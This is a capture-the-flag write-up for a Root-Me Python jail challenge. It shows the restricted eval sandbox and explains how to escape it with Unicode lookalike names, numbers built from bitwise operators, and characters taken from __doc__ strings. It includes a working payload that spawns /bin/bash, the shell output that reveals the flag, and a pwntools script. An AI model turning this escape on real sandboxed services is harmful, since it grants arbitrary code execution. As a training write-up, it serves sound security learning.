MisTrale Write UpMisTrale Write Up
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
    • ๐Ÿ Introduction
    • ๐ŸŒŸ Acknowledgments
  • ๐Ÿ’€ Root-Me 20k

    • ๐Ÿ’€ Root Me - 20k
    • โค๏ธ Bash - Love Me
    • ๐Ÿ›‘ Python - Not This Way
    • ๐Ÿ“š NodeJs - Never Trust Node One
  • โ›“๏ธ JailCTF-2024

    • ๐Ÿ‘ฎ JailCTF - 2024
    • ๐Ÿ”  !Alphabeat
    • ๐Ÿง‘โ€๐Ÿฆฏ Blind Calc
    • ๐ŸŽ‰ Parity 1
    • ๐ŸŽˆ Parity 2
    • ๐Ÿช„ Pickle Magic
    • โ˜Ž๏ธ Get and Call
    • โ‰๏ธ No Sense
    • ๐ŸŸฉ Filter'd
    • ๐Ÿง SUS Calculator
  • ๐Ÿ•น๏ธ TCP1P

    • ๐ŸŽฎ Another Discord
  • ๐Ÿงฎ GCC-2024

    • ๐Ÿ˜… soBusy
  • ๐ŸŒ› Midnight

    • ๐ŸŒƒ Midnight
    • โœจ Privesc - 1
    • ๐Ÿ”‘ Privesc - 2
    • ๐Ÿ‘‘ Privesc - 3
    • ๐ŸŽญ My Face

๐Ÿ›‘ Python - Not This Way

๐Ÿ‘€ Before you start

You can donate to me via Buy Me a Coffee or follow me on Github

๐Ÿ“– Challenge Description

#!/usr/bin/env python3
 
def __welcome__():
    return print("MisTrale: Hello ! How can I help you ?")

def __check_code__(code):
    restrictedChars = [
                        "C", "F", "I", "T", "S",
                        "U", "N", "O", "B", "D", 
                        "G", "H", "J", "K", "M",
                        "L", "R", "E", "Q", "A", 
        
                        "c", "f", "i", "t", "s",
                        "u", "n", "o", "b", "d",
                        "g", "h", "j", "k", "m",
                        "l", "r", "e", "q", "a",

                        "x", "+", "-", "*", "/", 
                        "%", "'", '"', ":", ";",
                        "{", "}", "__", "@", "`",
                      ]
    restrictedChars += [chr(i) for i in range(48, 58)]  # Sorry, Don't hate me :(

    for char in restrictedChars:
        if char in code:
            raise Exception(f"Restricted character {char} found in code ! Try harder ;)")

BUILTINS = {
    "__welcome__": __welcome__,
    "__import__": lambda *a, **kw: __welcome__(),
    "p": print,
}

def sandbox(code):
    __check_code__(code)
    eval(code, {"__builtins__": BUILTINS}, {})

code = ""
while True:
    line = input(">>> ")
    code += " \n" + line
    while line:
        line = input("")
        code += " \n" + line
    try:
        sandbox(code)
    except Exception as e:
        print(e)
    code = ""

๐Ÿšฉ Getting the flag

To access a global scope, we need to perform an injection like this, since the BUILTINS are restricted.

>>> ().__class__.__base__.__subclasses__()[121]()._module.__builtins__

To bypass this restriction:

restrictedChars = [
    "C", "F", "I", "T", "S",
    "U", "N", "O", "B", "D", 
    "G", "H", "J", "K", "M",
    "L", "R", "E", "Q", "A", 
        
    "c", "f", "i", "t", "s",
    "u", "n", "o", "b", "d",
    "g", "h", "j", "k", "m",
    "l", "r", "e", "q", "a",

    "x", "+", "-", "*", "/", 
    "%", "'", '"', ":", ";",
    "{", "}", "__", "@", "`",
]
restrictedChars += [chr(i) for i in range(48, 58)]

๐Ÿ”ก How to build our alphabet ?

We first need to figure out how to access __class__ and __base__ without using banned characters. To do so, we can rely on the following method:

()._๏ผฟ๐‘l๐’ถ๐˜ด๐˜ด๏ผฟ_._๏ผฟb๐’ถ๐˜ดe๏ผฟ_._๏ผฟ๐˜ด๐˜ถb๐‘l๐’ถ๐˜ด๐˜ดe๐˜ด๏ผฟ_()

In fact, weโ€™re not using regular ASCII characters weโ€™re using Unicode characters that look the same.

To get those, you can refer to this website:

  • ๐Ÿ‘‰ https://en.wikipedia.org/wiki/Mathematical_Alphanumeric_Symbols

And Pythonโ€™s interpreter wonโ€™t notice a thing.

To bypass double underscores (__), we can use the Unicode version of ๏ผฟ: _

Combining the two gives us a valid Unicode version of __class__ : ()._๏ผฟ๐‘l๐’ถ๐˜ด๐˜ด๏ผฟ_.

๐Ÿ”ข How to get numbers ?

In Python, it's not just about classic arithmetic operators:

  • + for addition
  • - for subtraction
  • * for multiplication
  • / for division
  • % for modulo

We also have bitwise operators:

  • << for left shift
  • >> for right shift
  • & for ET
  • | for OU
  • ^ for XOR
  • ~ for NOT

We can use these to build numbers!

For example, to get 1, we can do () == () (which is True == True) and that evaluates to 1 To get 2, we can shift 1 left by 1: 1 << 1 And so on, all the way to 9

>>> print((()==())>>(()==())) # (1 >> 1) == 0
0
>>> print((()==())>>(()!=())) # 1: True == 1
1
>>> print((()==())<<(()==())) # 1 << 1 == 2
2
>>> print(((()==())<<(()==()))|(()==())) # (1 << 1) | 1 == (2 | 1) == 3
3
>>> print((()==())<<(()==())<<(()==())) # 1 << 1 << 1 == 4
4
>>> print(((()==())<<(()==())<<(()==()))|(()==())) # (1 << 1 << 1) | 1 == (4 | 1) == 5
5
>>> print(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))) # (1 << 1 << 1) | (1 << 1) == (4 | 2) == 6
6
>>> print(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())) # (1 << 1 << 1) | (1 << 1) | 1 = (4 | 2 | 1) == 7
7
>>> print((()==())<<(()==())<<(()==())<<(()==()))  # 1 << 1 << 1 << 1 == 8
8
>>> print(((()==())<<(()==())<<(()==())<<(()==()))|(()==())) # (1 << 1 << 1 << 1) | 1 = (8 | 1) == 9
9

๐Ÿฅท Soโ€ฆ does that mean we can build anything ?!

Since we can access objects and build numbers, we can reconstruct the full alphabet. In Python, every object has a __doc__ attribute, which is a string.

Here are a few examples:

().__subclasshook__.__doc__[98] # 'M'
().__class__.__doc__[2] # 'i'
().__add__.__doc__[7] # 's'
().__init_subclass__.__doc__[0] # 'T'
().__add__.__doc__[4] # 'r'
().__add__.__doc__[13] # 'a'
().__add__.__doc__[9] # 'l'
().__add__.__doc__[1] # 'e'
().__class_getitem__.__doc__[4] # 'P'
().__doc__.__doc__[84] # 'w'
().__add__.__doc__[5] # 'n'
().__add__.__doc__[17] # '.'
().__subclasshook__.__doc__[147] # 'F'
().__add__.__doc__[9] # 'l'
().__add__.__doc__[13] # 'a'
().__class__.__doc__[38] # 'g'

So using bitshifting and __doc__ we can build any word โ€” and even do imports. But I wonโ€™t spoil that part just yet ๐Ÿ˜‰

>>> ().__subclasshook__.__doc__[((((()==())>>(()!=())))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==())))|((((()==())>>(()!=())))<<(((()==())<<(()==())<<(()==()))|(()==())))|((((()==())>>(()!=())))<<((((()==())>>(()!=()))))))].__add__(().__class__.__doc__[(()==())<<(()==())]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())]).__add__(().__init_subclass__.__doc__[(()==())>>(()==())]).__add__(().__add__.__doc__[(()==())<<(()==())<<(()==())]).__add__(().__add__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[(()==())>>(()!=())]).__add__(().__class_getitem__.__doc__[(()==())<<(()==())<<(()==())]).__add__(().__doc__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))))|((()==())>>(()!=()))<<((()==())<<(()==())<<(()==()))|((()==())>>(()!=()))<<((()==())<<(()==())))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[(((()==())>>(()!=()))<<((()==())<<(()==())<<(()==()))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__subclasshook__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()!=())))|(((()==())>>(()!=()))<<(()==())>>(()==())))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__class__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|(()==())))|((()==())>>(()!=()))<<((()==())<<(()==()))|(((()==())>>(()!=()))<<((()==())>>(()!=()))))])
'MisTralePwn.Flag'

๐Ÿ” How to perform an import ?

We can use our techniques to import the os module then call system("/bin/bash") to escape.

>>> p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–‘๐–”๐–†๐–‰๐–Š๐–—_๏ผฟ.๐–‘๐–”๐–†๐–‰_๐–’๐–”๐–‰๐–š๐–‘๐–Š(p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))].๐”ง๐”ฌ๐”ฆ๐”ซ([p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<~(~(()==()))],p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐–˜๐–™๐–—๐–Ž๐–•()).๐–˜๐–ž๐–˜๐–™๐–Š๐–’(p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–‘๐–”๐–†๐–‰๐–Š๐–—_๏ผฟ.๐–‘๐–”๐–†๐–‰_๐–’๐–”๐–‰๐–š๐–‘๐–Š._๏ผฟ๐–“๐–†๐–’๐–Š_๏ผฟ[~(~(()==()))<<(~(~(()==()))^~(~(()==()))<<~(~(()==())))|~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))].๐”ง๐”ฌ๐”ฆ๐”ซ([p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))],p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐–˜๐–™๐–—๐–Ž๐–•())
ls
Dockerfile        main.py   flag.txt
cat flag.txt
RM{Python_1S_R34lly_Ev1l_N3v3r_Use_1t_1F_D0nt_Kn0W_4LL_H1s_S3cr3t5}

๐Ÿ“œ Script

from pwn import *

context.log_level='critical'

payload = f"""
p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–‘๐–”๐–†๐–‰๐–Š๐–—_๏ผฟ.๐–‘๐–”๐–†๐–‰_๐–’๐–”๐–‰๐–š๐–‘๐–Š(p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))].๐”ง๐”ฌ๐”ฆ๐”ซ([p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<~(~(()==()))],p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐–˜๐–™๐–—๐–Ž๐–•()).๐–˜๐–ž๐–˜๐–™๐–Š๐–’(p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–‘๐–”๐–†๐–‰๐–Š๐–—_๏ผฟ.๐–‘๐–”๐–†๐–‰_๐–’๐–”๐–‰๐–š๐–‘๐–Š._๏ผฟ๐–“๐–†๐–’๐–Š_๏ผฟ[~(~(()==()))<<(~(~(()==()))^~(~(()==()))<<~(~(()==())))|~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))].๐”ง๐”ฌ๐”ฆ๐”ซ([p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))],p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐–˜๐–™๐–—๐–Ž๐–•())""".strip().replace('\n','')

io = process(['python3', 'main.py'])
io.sendline(payload.encode())
io.sendline(b'')

io.interactive()

๐Ÿ“š Documentations

  • Python - Payloads
  • Python - Unicode
  • Python - Bitwise Operators
  • Python - doc

๐Ÿ’– Support

๐Ÿ‘€ Before you leave

You can donate to me via Buy Me a Coffee or follow me on Github

Prev
โค๏ธ Bash - Love Me
Next
๐Ÿ“š NodeJs - Never Trust Node One